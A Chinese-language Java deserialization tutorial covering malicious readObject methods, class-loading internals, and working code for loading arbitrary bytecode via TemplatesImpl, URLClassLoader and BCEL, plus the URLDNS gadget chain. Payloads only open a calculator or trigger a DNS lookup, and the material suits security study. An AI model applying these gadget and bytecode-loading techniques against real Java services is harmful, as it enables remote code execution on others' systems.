JAVA反序列化
入口类的readObject调用危险方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
|
// Student.java
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serial;
import java.io.Serializable;
public class Student implements Serializable
{
@Serial
private static final long serialVersionUID = 1L;
private int id;
private String name;
public Student(){}
public Student(int id, String name)
{
this.id = id;
this.name = name;
}
public int getId()
{
return this.id;
}
public void setId(int id)
{
this.id = id;
}
public String getName()
{
return this.name;
}
public void setName(String name)
{
this.name = name;
}
@Override
public String toString()
{
System.out.println("Student ID: " + this.id);
System.out.println("Student Name: " + this.name);
return null;
}
@Serial
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException
{
ois.defaultReadObject(); // 反序列化本质代码,用于执行反序列化的额外操作,这里是命令执行
Runtime.getRuntime().exec("calc");
}
}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
// Main.java
import java.io.*;
public class Main
{
public static void main(String[] args) throws Exception
{
//Student demo = new Student(22172080,"zhuwenxiu");
//serialize(demo);
System.out.println(unserialize("ser.bin"));
}
public static void serialize(Object obj) throws Exception
{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String filePath) throws Exception
{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filePath));
return ois.readObject();
}
}
|
当 ObjectInputStream
反序列化一个对象时,它会检查对象是否实现了 Serializable
接口。如果对象实现了 Serializable
接口,并且类中包含了如下签名的 private
方法
1
|
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException;
|
这里调用了Student.readObject从而弹出计算器

入口类参数中包含可控类,该类调用危险方法
条件
- 入口类和可控类都实现Serializable接口,即都可序列化
- 入口类重写readObject,可在反序列化添加其他功能
- 数据类型宽泛,泛型有传对象的可能
- jdk、通用框架自带,这样会产生通用的漏洞
- 可控类调用了常见函数,如通过可控类调用不同类的同一方法
HashMap支持泛型,实现了Serializable接口,重写了readObject方法,又是jdk自带的类,是个能很好满足条件的类


类加载机制
加载 –> 连接 —> 初始化 —> 实例化 —> 卸载
类在初始化和实例化阶段会调用代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
|
// Demo.java
public class Demo {
private int id;
private String name;
public Demo() {System.out.println("无参构造");}
public Demo(int id, String name)
{
this.id = id;
this.name = name;
System.out.println("有参构造");
}
@Override
public String toString() {
return "嗨嗨嗨";
}
static
{
System.out.println("静态代码块");
}
{
System.out.println("示例初始化代码块");
}
public static void staticAction()
{
System.out.println("调用了静态方法");
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getId() {
return id;
}
public void setId(int id) {
this.id = id;
}
}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
// Main.java
public class Main
{
public static void main(String[] args) throws Exception
{
new Demo(); // 1
print();
new Demo(123,"zhuwenxiu"); // 2
print();
Demo.staticAction(); // 3
print();
System.out.println(new Demo()); // 4
}
public static void print()
{
System.out.println("----------------------");
}
}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
|
// output
静态代码块
示例初始化代码块
无参构造
----------------------
示例初始化代码块
有参构造
----------------------
调用了静态方法
----------------------
示例初始化代码块
无参构造
嗨嗨嗨
|
单独调用时有如下输出
1
2
3
4
|
// new Demo();
静态代码块
示例初始化代码块
无参构造
|
1
2
3
4
|
// new Demo(123,"zhuwenxiu");
静态代码块
示例初始化代码块
有参构造
|
1
2
3
|
// Demo.staticAction(); // 调用静态方法没有创建对象,不会调用初始化代码 若给静态属性赋值只会输出 静态代码块
静态代码块
调用了静态方法
|
1
2
3
4
5
|
// System.out.println(new Demo());
静态代码块
示例初始化代码块
无参构造
嗨嗨嗨
|
类在加载为对象的时候会调用静态代码块和初始化代码块(初始化代码总是在构造方法之前)
Class.forName可通过参数指定是否初始化来决定是否执行初始化代码块

类加载流程
loadClass
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
|
// java.lang.ClassLoader
protected Class<?> loadClass(String name, boolean resolve)
throws ClassNotFoundException
{
synchronized (getClassLoadingLock(name)) {
// 检查类是否已经加载
Class<?> c = findLoadedClass(name);
if (c == null) {
long t0 = System.nanoTime();
try {
// 根据双亲委派模型将类加载请求委派给父类加载器
if (parent != null) {
c = parent.loadClass(name, false);
} else {
// 父类加载器为空,委托给BootStrap加载器加载
c = findBootstrapClassOrNull(name);
}
} catch (ClassNotFoundException e) {
// 如果未找到该类,则抛出 ClassNotFoundException
}
// 自定义加载方法,这里是通过调用findClass
if (c == null) {
// 如果仍然没有找到,则调用 findClass 来查找该类
// findClass需要重写
long t1 = System.nanoTime();
c = findClass(name);
// 这是定义类加载器;记录统计数据
sun.misc.PerfCounter.getParentDelegationTime().addTime(t1 - t0);
sun.misc.PerfCounter.getFindClassTime().addElapsedTimeFrom(t1);
sun.misc.PerfCounter.getFindClasses().increment();
}
}
if (resolve) {
// 调用resolveClass解析类,将符号引用转换为直接引用
resolveClass(c);
}
return c;
}
}
|
findClass
1
2
3
4
|
// java.lang.ClassLoader
protected Class<?> findClass(String name) throws ClassNotFoundException {
throw new ClassNotFoundException(name);
}
|
ClassLoader.findClass并没有具体的实现,一般这个方法都是要重写的,定位到某个子类的具体实现
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
|
// java.net.URLClassLoader
// URLClassLoader继承于SecureClassLoader,SecureClassLoader继承于ClassLoader,这里重写了findClass方法
protected Class<?> findClass(final String name)
throws ClassNotFoundException
{
final Class<?> result;
try {
result = AccessController.doPrivileged(
new PrivilegedExceptionAction<Class<?>>() {
// 实现 PrivilegedExceptionAction 接口的 run 方法
public Class<?> run() throws ClassNotFoundException {
// 将class文件路径的.替换为/变成完整的文件路径
String path = name.replace('.', '/').concat(".class");
// 使用ucp获取文件资源
Resource res = ucp.getResource(path, false);
if (res != null) {
try {
// 存在该class文件用defineClass加载
return defineClass(name, res);
} catch (IOException e) {
throw new ClassNotFoundException(name, e);
}
} else {
// 找不到class文件返回空
return null;
}
}
}, acc);
} catch (java.security.PrivilegedActionException pae) {
throw (ClassNotFoundException) pae.getException();
}
if (result == null) {
throw new ClassNotFoundException(name);
}
// 返回加载后的类对象
return result;
}
|
findClass可以简单理解为先进行一系列的判断,然后调用的defineClass,下面看defineClass的实现
defineClass
1
2
3
4
5
6
7
8
9
10
11
12
|
// java.lang.ClassLoader
protected final Class<?> defineClass(String name, byte[] b, int off, int len,
ProtectionDomain protectionDomain)
throws ClassFormatError
{
protectionDomain = preDefineClass(name, protectionDomain);
String source = defineClassSourceLocation(protectionDomain);
// 调用native标识的defineClass1,具体的细节是在C/C++中实现的,源码的查看部分也就到此为止
Class<?> c = defineClass1(name, b, off, len, protectionDomain, source);
postDefineClass(c, protectionDomain);
return c;
}
|
阅读文档可知defienClass可将字节数组转化为Class对象,defineClass是类加载的核心操作
总结
类加载一般情况下函数流程的后面都是loadClass —> findClass —> defineClasss,前面可能就是各种往上抛的父类;后面也有可能是loadClass —> defineClass跳过findClass,某些加载器是会这么实现的。不管怎么说类加载的实质就是defineClass,后面想要加载动态类只要看是否有调用defineClass即可。
类加载的两种途径
- ClassLoader.defineClass
- Unsafe.defineClass
加载class文件
Class.forName
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
// Test_.java
package demo;
import java.io.IOException;
public class Test_ {
static
{
try
{
Runtime.getRuntime().exec("calc");
} catch (IOException e)
{
throw new RuntimeException(e);
}
}
}
|
初始化类执行了静态代码块

Class.forName
的实现中调用了Class.forName0
,第二个参数传true默认默认进行类的初始化,所以会执行静态代码块

1
2
3
4
5
6
7
8
9
10
11
|
package demo;
public class LoadCLass {
public static void main(String[] args) throws ClassNotFoundException {
//Class.forName("demo.Test_");
ClassLoader classLoader = ClassLoader.getSystemClassLoader();
System.out.println(classLoader); // 系统类加载器
System.out.println(LoadCLass.class.getClassLoader()); // 本类加载器
Class.forName("demo.Test_",false,classLoader);
}
}
|
1
2
|
sun.misc.Launcher$AppClassLoader@14dad5dc
sun.misc.Launcher$AppClassLoader@14dad5dc
|
第二个参数设为false不会进行类初始化,因此不会执行静态代码块,系统类和本类使用的都是同一个加载器AppClassLoader
ClassLoader.defineClass
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
package demo;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
public class LoadCLass {
public static void main(String[] args)
throws NoSuchMethodException, IOException, InvocationTargetException,
IllegalAccessException, InstantiationException {
// 反射调用ClassLoader.defineClass()
ClassLoader systemClassLoader= ClassLoader.getSystemClassLoader();
Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClassMethod.setAccessible(true);
// 读取class字节码文件
byte[] bytes = Files.readAllBytes(Paths.get("Test.class"));
// 加载类,调用defineClass
Class defineClass = (Class) defineClassMethod.invoke(systemClassLoader,"Test",bytes,0,bytes.length);
// 初始化类
defineClass.newInstance();
}
}
|
主要步骤
- 获取默认加载器
- 读取字节码文件
- 调用
ClassLoader.defineClass
TemplatesImpl
TemplatesImpl
的内部类TransletClassLoader
的方法defineClass
封装了ClassLoader.defineClass

TemplatesImpl.defineTransletClasses
调用了defineClass

TemplatesImpl.getTransletInstance
调用了defineTransletClasses

TemplatesImpl.newTransformer
构造方法TransformerImpl
调用了getTransletInstance
,权限是public,可作为入口

在TemplatesImpl.getOutputProperties
中调用newTransformer
,这里的权限是public,也可作为的入口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
package demo;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class TemplatesImplTest {
public static void main(String[] args)
throws IOException, NoSuchFieldException, IllegalAccessException, TransformerConfigurationException {
TemplatesImpl templatesImpl = new TemplatesImpl();
byte[] bytes = Files.readAllBytes(Paths.get("Test.class"));
// 通过反射绕过一些if判断
setFieldValue(templatesImpl,"_bytecodes",new byte[][]{bytes});
setFieldValue(templatesImpl,"_name","test");
setFieldValue(templatesImpl,"_tfactory",new TransformerFactoryImpl());
// 下面两个都能初始化类执行代码
//templatesImpl.getOutputProperties();
templatesImpl.newTransformer();
}
public static void setFieldValue(Object obj,String fieldName,Object fieldValue)
throws NoSuchFieldException, IllegalAccessException {
Class<?> clazz = obj.getClass();
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,fieldValue);
}
}
|
URLClassLoader
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
package demo;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
public class Test {
public static void main(String[] args)
throws MalformedURLException, ClassNotFoundException, InstantiationException, IllegalAccessException {
String URL_path = "C:\\Users\\26062\\Desktop\\个人文件\\SpringBoot\\unserialize\\target\\classes\\Test.class";
// url路径可以使用不同的协议,如http jar file
URL url = new URL("file:///" + URL_path);
// 读取class文件
URLClassLoader ucl = new URLClassLoader(new URL[]{url});
// 从class文件加载类
Class<?> c = ucl.loadClass("Test");
// 类实例化调用静态代码
c.newInstance();
}
}
|

BCEL ClassLoader
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
package demo;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import java.io.IOException;
public class Test {
public static void main(String[] args)
throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException {
// 1.对恶意代码压缩成字符串
// 获取Test_对应的JavaClass对象
JavaClass jc = Repository.lookupClass(Test_.class);
// 将JavaClass对象转换为字符串,true代表进行压缩
String code = Utility.encode(jc.getBytes(),true);
System.out.println(code);
// 2.使用com.sun.org.apache.bcel.internal.util.ClassLoader
// 对含有$$BCEL$$的class_name进行特殊处理并进行动态加载
ClassLoader classLoader = new ClassLoader();
// 根据class_name创建JavaClass,然后获取其字节码,最后用defineClass加载类
Class<?> c = classLoader.loadClass("$$BCEL$$" + code);
c.newInstance();
}
}
|
源码中的具体流程
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
|
// com.sun.org.apache.bcel.internal.util.ClassLoader继承自ClassLoader,重写了方法loadClass
protected Class loadClass(String class_name, boolean resolve)
throws ClassNotFoundException
{
Class cl = null;
// 查找哈希表中键class_name所对应的值
if((cl=(Class)classes.get(class_name)) == null) {
// 使用系统加载器加载类
for(int i=0; i < ignored_packages.length; i++) {
if(class_name.startsWith(ignored_packages[i])) {
cl = deferTo.loadClass(class_name);
break;
}
}
if(cl == null) {
JavaClass clazz = null;
// 检查class_name是否含有字符串$$BCEL$$
if(class_name.indexOf("$$BCEL$$") >= 0)
// 创建JavaClass对象,JavaClass是对.class文件信息的封装
clazz = createClass(class_name);
else {
if ((clazz = repository.loadClass(class_name)) != null) {
clazz = modifyClass(clazz);
}
else
throw new ClassNotFoundException(class_name);
}
if(clazz != null) {
// 从.class文件获取字节码
byte[] bytes = clazz.getBytes();
// defineClass加载字节码到类
cl = defineClass(class_name, bytes, 0, bytes.length);
} else
cl = Class.forName(class_name);
}
if(resolve)
resolveClass(cl);
}
classes.put(class_name, cl);
return cl;
}
|
URLdns
EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
HashMap<URL,Integer> hashMap= new HashMap<URL,Integer>();
URL url = new URL("https://www.google.com");
// 将URL的hashCode改为非-1的其它数
Class c = url.getClass();
Field hashCodeField = c.getDeclaredField("hashCode");
hashCodeField.setAccessible(true);
hashCodeField.set(url,114514);
hashMap.put(url,1);
// 设为-1触发dns请求
hashCodeField.set(url,-1);
serialize(hashMap);
unserialize("ser.bin");
|
链条
HashMap.readObject —> HashMap.hash —> URL.hashCode —> URLStreamHandler.hashCode —> getHostAddress
getHostAddress
能够进行DNS查询,可以根据查询的回显判断是否触发URLdns